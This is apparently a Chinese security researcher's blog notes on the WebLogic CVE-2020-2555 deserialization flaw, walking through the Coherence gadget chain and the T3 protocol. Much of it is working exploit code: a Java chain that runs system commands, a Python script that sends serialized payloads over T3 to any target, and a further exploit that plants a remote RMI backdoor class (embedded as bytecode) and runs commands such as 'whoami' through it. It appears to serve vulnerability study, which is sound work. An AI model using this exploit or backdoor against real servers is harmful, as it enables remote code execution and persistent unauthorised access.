Weblogic CVE-2020-2555 反序列化及回显实现
前言:作为weblogic中间件的CVE-2020-2555分析笔记
CVE-2020-2555介绍
2020年1月15日,Oracle发布了一系列的安全补丁,其中Oracle WebLogic Server产品有高危漏洞,漏洞编号CVE-2020-2551。
成因:
1、Weblogic 默认开启 T3 协议,攻击者可利用T3协议进行反序列化漏洞实现远程代码执行。
2、CVE-2020-2555主要源于在coherence.jar存在着用于gadget构造的类(反序列化构造类),并且利用weblogic默认存在的T3协议进行传输和解析进而导致weblogic服务器反序列化恶意代码最后执行攻击语句。
环境配置
Weblogic Server版本12.2.1.4.0
jdk 8u181
弄了一早上,自己简单的记录下,如果要改变weblogic启动路径/java变量目录的话只需要在相关的启动脚本中进行修改就可以,我这里修改了如下几个路径中的java变量目录,weblogic的没有修改,但是应该来说也是可以修改的,不过修改的数量比较多,所以自己这里就只修改了java的路径。
我这里选择的是wl_server目录下的启动程序,默认weblogic有三个启动程序,在wl_server启动监听的是7001端口,其他的端口是不同,但都是一样的。
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\wl_server\bin\startWebLogic.cmd
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\wl_server\bin\setDomainEnv.cmd
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\wl_server\startWebLogic.cmd
接着访问http://127.0.0.1:7001/console
即可,如下图所示
电脑配置跟不上,所以这里直接在本地进行调试了
什么是Weblogic T3协议
回顾下关于RMI协议,RMI协议是一个 JVM 中的代码可以通过网络实现远程调用另一个JVM 的某个方法,它们之间的通信是通过序列化RemoteCall对象,然后通过socket来进行通信传输的。
而 T3 是用于在 WebLogic 服务器和其他类型的 Java 程序之间传输信息的协议,所以说weblogic实现通信传输的使用的是T3协议,自己理解的就是java的RMI实现远程调用走的是JRMP协议,但是weblogic的RMI远程调用走的是自己写的T3协议。
为什么weblogic用T3,而不用JRMP?这种T3类型的连接通过消除用于在网络之间进行通信的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以提高效率并最大限度地减小数据包大小,从而提高传输方法的速度。
以下是T3协议的特点:
服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。
参考文章:http://cn.voidcc.com/question/p-vhilltff-bgn.html
CVE-2020-2555漏洞分析
CVE-2020-2555主要源于在coherence.jar存在着用于gadget构造的类(反序列化构造类),并且利用weblogic默认存在的T3协议进行传输和解析进而导致weblogic服务器反序列化恶意代码最后执行攻击语句。
所以这里就直接去找coherence.jar包中的gadget,调用链如下:
* gadget:
* BadAttributeValueExpException.readObject()
* com.tangosol.util.filter.LimitFilter.toString()
* com.tangosol.util.extractor.ChainedExtractor.extract()
* com.tangosol.util.extractor.ReflectionExtractor.extract()
* Method.invoke()
* ...
* Runtime.getRuntime.exec()
com.tangosol.util.extractor.ReflectionExtractor
跟着调用链,先来看ReflectionExtractor类的exctract方法,可以看到通过传输一个oTarget对象,通过findMethod反射来获取oTarget对象指定参数的方法,将其赋值给m_methodPrev字段,然后最后进行method.invoke
方法调用。
public E extract(T oTarget) {
if (oTarget == null) {
return null;
} else {
Class clz = oTarget.getClass();
try {
Method method = this.m_methodPrev;
if (method == null || method.getDeclaringClass() != clz) {
this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
}
return method.invoke(oTarget, this.m_aoParam);
} catch (NullPointerException var4) {
throw new RuntimeException(this.suggestExtractFailureCause(clz));
} catch (Exception var5) {
throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
}
}
}
获取oTarget对象指定参数的方法是this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
这里可以来看下它是如何获取的,可以发现跟CC链条中的commons collections调用链是一样的
public class CVE_2020_2555 {
public static void main(String[] args) throws Exception {
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});
Object extract = reflectionExtractor.extract(Runtime.class);
System.out.println(extract);
}
}
这里的话单纯的ReflectionExtractor无法进行利用,原因如下
那么接下来继续看com.tangosol.util.extractor.ChainedExtractor
com.tangosol.util.extractor.ChainedExtractor
可以发现ChainedExtractor的extract方法可以实现链式调用
@JsonbCreator
public ChainedExtractor(@JsonbProperty("extractors") ValueExtractor[] aExtractor) {
super(aExtractor);
this.m_nTarget = this.computeTarget();
}
public E extract(Object oTarget) {
ValueExtractor[] aExtractor = this.getExtractors();
int i = 0;
for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
oTarget = aExtractor[i].extract(oTarget);
}
return oTarget;
}
那么到这里构造为如下,ChainedExtractor中传入ReflectionExtractor数组对象,然后通过ChainedExtractor对象的extract方法进行链式调用
public class CVE_2020_2555 {
public static void main(String[] args) throws Exception {
ReflectionExtractor[] reflectionExtractors = new ReflectionExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{"null", new Class[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", "calc"}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(reflectionExtractors);
chainedExtractor.extract(Runtime.class);
}
}
这里继续来看下ChainedExtractor同样无法进行利用,因为本身序列化无法调用extract
com.tangosol.util.filter.LimitFilter
直接看toString,可以看到其中的extractor.extract(this.m_oAnchorTop)
有进行调用
public String toString() {
StringBuilder sb = new StringBuilder("LimitFilter: (");
sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
if (this.m_comparator instanceof ValueExtractor) {
ValueExtractor extractor = (ValueExtractor)this.m_comparator;
sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
} else if (this.m_comparator != null) {
sb.append(", comparator=").append(this.m_comparator);
}
sb.append("])");
return sb.toString();
}
继续看extractor.extract(this.m_oAnchorTop)中的m_oAnchotTop
,可以看到变量可控,那么就可以替换为Runtime.class
来进行执行命令
这里需要注意下,因为ChainedExtractor是实现了Comparator接口的
测试如下,还是可以弹窗
同样的自己反序列化还是无法解决调用自身的toString方法,所以还是需要找其他对象
BadAttributeValueExpException
BadAttributeValueExpException的反序列化会调用指定对象的toString方法
测试下,可以触发的
最终的POC如下,建议全用反射来进行赋值,要不然会有问题
public class CVE_2020_2555 {
public static void main(String[] args) throws Exception {
ReflectionExtractor[] reflectionExtractors = new ReflectionExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{"null", new Class[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", "calc"}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(reflectionExtractors);
LimitFilter limitFilter = new LimitFilter();
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, limitFilter);
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("weblogic_2020_2551.ser"));
os.writeObject(badAttributeValueExpException);
os.close();
ObjectInputStream is = new ObjectInputStream(new FileInputStream("weblogic_2020_2551.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
如果通过T3协议来进行利用?
知识点:weblogic的T3和HTTP服务是共存在7001端口的
这里构造完应该是通过T3传输到对方的解析点的,这里看下如何进行传输的
参考文章:http://drops.xmd5.com/static/drops/web-13470.html
我直接进行截图了,放到博客里面记录观察
使用如下的方式来进行实现
这里直接给格式就可以了,替换中间的payloadObj数据即可
# author: zpchcbd
import socket
import os
import sys
import struct
from binascii import a2b_hex, b2a_hex
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
server_address = (sys.argv[1], int(sys.argv[2]))
print('[+] Connecting to {} port {}'.format(server_address[0], server_address[1]))
sock.connect(server_address)
# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print('sending "{}"'.format(headers))
sock.sendall(headers.encode())
data = sock.recv(1024)
print('[+] received "%s"' % data)
payloadObj = open(sys.argv[3],'rb').read()
payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload=payload+str(b2a_hex(payloadObj).decode())
payload=payload+'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s' % (('{:08x}'.format(len(payload) // 2 + 4), payload))
print('[+] Sending payload...')
sock.send(bytes.fromhex(payload))
data = sock.recv(1024)
print('received "%s"' % data)
回显
这里就不分析了,大家自己可以试下,我讲下自己遇到的坑
坑点:因为自己是高版本的12.2.1.4.0,所以自己网上看到的通过DefiningClassLoader来进行反序列化RMI实例是不行的
然后这里通过这个类ClasspathClassLoader来进行反序列化RMI的,它的defineClass同样是一个公有的,并且以字节数组来进行defineClass
package com.zpchcbd.weblogic;
import com.supeream.ssl.WeblogicTrustManager;
import com.supeream.weblogic.T3ProtocolOperation;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import org.mozilla.classfile.DefiningClassLoader;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.corba.utils.MarshalledObject;
import weblogic.jndi.Environment;
import weblogic.utils.classloaders.ClasspathClassLoader;
import javax.management.BadAttributeValueExpException;
import javax.naming.Context;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class CVE_2020_2555_UP {
static String host = "192.168.0.108";
static String port = "7001";
static final String className = "com.zpchcbd.weblogic.RemoteImpl";
static byte[] classByte = new byte[]{-54,-2,-70,-66,0,0,0,52,0,-123,10,0,30,0,80,7,0,81,10,0,2,0,80,7,0,82,10,0,4,0,80,8,0,83,11,0,84,0,85,7,0,86,7,0,87,10,0,9,0,80,8,0,50,11,0,88,0,89,8,0,90,7,0,91,10,0,14,0,92,10,0,14,0,93,10,0,14,0,94,7,0,95,7,0,96,10,0,97,0,98,10,0,19,0,99,10,0,18,0,100,7,0,101,10,0,23,0,80,10,0,18,0,102,10,0,23,0,103,8,0,104,10,0,23,0,105,10,0,8,0,106,7,0,107,7,0,108,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,33,76,99,111,109,47,122,112,99,104,99,98,100,47,119,101,98,108,111,103,105,99,47,82,101,109,111,116,101,73,109,112,108,59,1,0,4,109,97,105,110,1,0,22,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,6,114,101,109,111,116,101,1,0,7,99,111,110,116,101,120,116,1,0,22,76,106,97,118,97,120,47,110,97,109,105,110,103,47,67,111,110,116,101,120,116,59,1,0,4,97,114,103,115,1,0,19,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,86,1,0,17,115,101,116,83,101,114,118,101,114,76,111,99,97,116,105,111,110,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,3,99,109,100,1,0,18,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,109,1,0,17,103,101,116,83,101,114,118,101,114,76,111,99,97,116,105,111,110,1,0,38,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,4,99,109,100,115,1,0,16,76,106,97,118,97,47,117,116,105,108,47,76,105,115,116,59,1,0,14,112,114,111,99,101,115,115,66,117,105,108,100,101,114,1,0,26,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,66,117,105,108,100,101,114,59,1,0,4,112,114,111,99,1,0,19,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,2,98,114,1,0,24,76,106,97,118,97,47,105,111,47,66,117,102,102,101,114,101,100,82,101,97,100,101,114,59,1,0,2,115,98,1,0,24,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,66,117,102,102,101,114,59,1,0,4,108,105,110,101,1,0,1,101,1,0,21,76,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,59,1,0,22,76,111,99,97,108,86,97,114,105,97,98,108,101,84,121,112,101,84,97,98,108,101,1,0,36,76,106,97,118,97,47,117,116,105,108,47,76,105,115,116,60,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,62,59,7,0,81,7,0,110,7,0,111,7,0,91,7,0,112,7,0,95,7,0,101,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,15,82,101,109,111,116,101,73,109,112,108,46,106,97,118,97,12,0,32,0,33,1,0,31,99,111,109,47,122,112,99,104,99,98,100,47,119,101,98,108,111,103,105,99,47,82,101,109,111,116,101,73,109,112,108,1,0,27,106,97,118,97,120,47,110,97,109,105,110,103,47,73,110,105,116,105,97,108,67,111,110,116,101,120,116,1,0,7,122,112,99,104,99,98,100,7,0,113,12,0,114,0,115,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,1,0,19,106,97,118,97,47,117,116,105,108,47,65,114,114,97,121,76,105,115,116,7,0,111,12,0,116,0,117,1,0,2,47,99,1,0,24,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,66,117,105,108,100,101,114,12,0,32,0,118,12,0,119,0,120,12,0,121,0,122,1,0,22,106,97,118,97,47,105,111,47,66,117,102,102,101,114,101,100,82,101,97,100,101,114,1,0,25,106,97,118,97,47,105,111,47,73,110,112,117,116,83,116,114,101,97,109,82,101,97,100,101,114,7,0,112,12,0,123,0,124,12,0,32,0,125,12,0,32,0,126,1,0,22,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,66,117,102,102,101,114,12,0,127,0,-128,12,0,-127,0,-126,1,0,1,10,12,0,-125,0,-128,12,0,-124,0,-128,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,46,119,101,98,108,111,103,105,99,47,99,108,117,115,116,101,114,47,115,105,110,103,108,101,116,111,110,47,67,108,117,115,116,101,114,77,97,115,116,101,114,82,101,109,111,116,101,1,0,24,106,97,118,97,47,114,109,105,47,82,101,109,111,116,101,69,120,99,101,112,116,105,111,110,1,0,16,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,1,0,14,106,97,118,97,47,117,116,105,108,47,76,105,115,116,1,0,17,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,1,0,20,106,97,118,97,120,47,110,97,109,105,110,103,47,67,111,110,116,101,120,116,1,0,6,114,101,98,105,110,100,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,76,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,59,41,86,1,0,3,97,100,100,1,0,21,40,76,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,59,41,90,1,0,19,40,76,106,97,118,97,47,117,116,105,108,47,76,105,115,116,59,41,86,1,0,19,114,101,100,105,114,101,99,116,69,114,114,111,114,83,116,114,101,97,109,1,0,29,40,90,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,66,117,105,108,100,101,114,59,1,0,5,115,116,97,114,116,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,14,103,101,116,73,110,112,117,116,83,116,114,101,97,109,1,0,23,40,41,76,106,97,118,97,47,105,111,47,73,110,112,117,116,83,116,114,101,97,109,59,1,0,24,40,76,106,97,118,97,47,105,111,47,73,110,112,117,116,83,116,114,101,97,109,59,41,86,1,0,19,40,76,106,97,118,97,47,105,111,47,82,101,97,100,101,114,59,41,86,1,0,8,114,101,97,100,76,105,110,101,1,0,20,40,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,6,97,112,112,101,110,100,1,0,44,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,66,117,102,102,101,114,59,1,0,8,116,111,83,116,114,105,110,103,1,0,10,103,101,116,77,101,115,115,97,103,101,0,33,0,2,0,30,0,1,0,31,0,0,0,4,0,1,0,32,0,33,0,1,0,34,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,35,0,0,0,6,0,1,0,0,0,13,0,36,0,0,0,12,0,1,0,0,0,5,0,37,0,38,0,0,0,9,0,39,0,40,0,1,0,34,0,0,0,-123,0,3,0,3,0,0,0,30,-69,0,2,89,-73,0,3,76,-69,0,4,89,-73,0,5,77,44,18,6,43,-71,0,7,3,0,-89,0,4,76,-79,0,1,0,0,0,25,0,28,0,8,0,3,0,35,0,0,0,26,0,6,0,0,0,17,0,8,0,18,0,16,0,19,0,25,0,22,0,28,0,20,0,29,0,23,0,36,0,0,0,32,0,3,0,8,0,17,0,41,0,38,0,1,0,16,0,9,0,42,0,43,0,2,0,0,0,30,0,44,0,45,0,0,0,46,0,0,0,7,0,2,92,7,0,47,0,0,1,0,48,0,49,0,2,0,34,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,35,0,0,0,6,0,1,0,0,0,29,0,36,0,0,0,32,0,3,0,0,0,1,0,37,0,38,0,0,0,0,0,1,0,50,0,51,0,1,0,0,0,1,0,44,0,51,0,2,0,52,0,0,0,4,0,1,0,53,0,1,0,54,0,55,0,2,0,34,0,0,1,126,0,5,0,8,0,0,0,124,-69,0,9,89,-73,0,10,77,44,18,11,-71,0,12,2,0,87,44,18,13,-71,0,12,2,0,87,44,43,-71,0,12,2,0,87,-69,0,14,89,44,-73,0,15,78,45,4,-74,0,16,87,45,-74,0,17,58,4,-69,0,18,89,-69,0,19,89,25,4,-74,0,20,-73,0,21,-73,0,22,58,5,-69,0,23,89,-73,0,24,58,6,25,5,-74,0,25,89,58,7,-58,0,19,25,6,25,7,-74,0,26,18,27,-74,0,26,87,-89,-1,-24,25,6,-74,0,28,-80,77,44,-74,0,29,-80,0,1,0,0,0,117,0,118,0,8,0,4,0,35,0,0,0,58,0,14,0,0,0,36,0,8,0,38,0,17,0,39,0,26,0,40,0,34,0,42,0,43,0,43,0,49,0,44,0,55,0,46,0,76,0,47,0,85,0,50,0,96,0,51,0,112,0,54,0,118,0,55,0,119,0,56,0,36,0,0,0,92,0,9,0,8,0,110,0,56,0,57,0,2,0,43,0,75,0,58,0,59,0,3,0,55,0,63,0,60,0,61,0,4,0,76,0,42,0,62,0,63,0,5,0,85,0,33,0,64,0,65,0,6,0,93,0,25,0,66,0,51,0,7,0,119,0,5,0,67,0,68,0,2,0,0,0,124,0,37,0,38,0,0,0,0,0,124,0,50,0,51,0,1,0,69,0,0,0,12,0,1,0,8,0,110,0,56,0,70,0,2,0,46,0,0,0,52,0,3,-1,0,85,0,7,7,0,71,7,0,72,7,0,73,7,0,74,7,0,75,7,0,76,7,0,77,0,0,-4,0,26,7,0,72,-1,0,5,0,2,7,0,71,7,0,72,0,1,7,0,47,0,52,0,0,0,4,0,1,0,53,0,1,0,78,0,0,0,2,0,79};
public static void main(String[] args) throws Exception {
try {
String url = "t3://" + host + ":" + port;
// 安装RMI实例
// invokeRMI(className, classByte);
// 调用RMI实例执行命令
Environment environment = new Environment();
environment.setProviderUrl(url);
environment.setEnableServerAffinity(false);
environment.setSSLClientTrustManager(new WeblogicTrustManager());
Context context = environment.getInitialContext();
ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("zpchcbd");
String res = remote.getServerLocation("whoami");
System.out.println(res);
} catch (Exception e) {
e.printStackTrace();
}
}
private static void invokeRMI(String className, byte[] classByte) throws Exception {
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getDeclaredConstructor", new Object[]{new Class[0]}),
new ReflectionExtractor("newInstance", new Object[]{new Object[0]}),
new ReflectionExtractor("defineCodeGenClass", new Object[]{className, classByte, null}),
new ReflectionExtractor("getMethod", new Object[]{"main", new Class[]{String[].class}}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[]{null}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
LimitFilter limitFilter = new LimitFilter();
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, ClasspathClassLoader.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, limitFilter);
Object obj = new MarshalledObject(badAttributeValueExpException);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
objOut.flush();
objOut.close();
byte[] payload = out.toByteArray();
T3ProtocolOperation.send(host, port, payload);
}
}
效果图如下
修复方案
因为这个类是属于黑名单绕过的方式,所以官方的修复方案是将 ReflectionExtractor 添加到黑名单中。但是CVE-2020-2883就绕过了这次方式,下一篇学习CVE-2020-2883。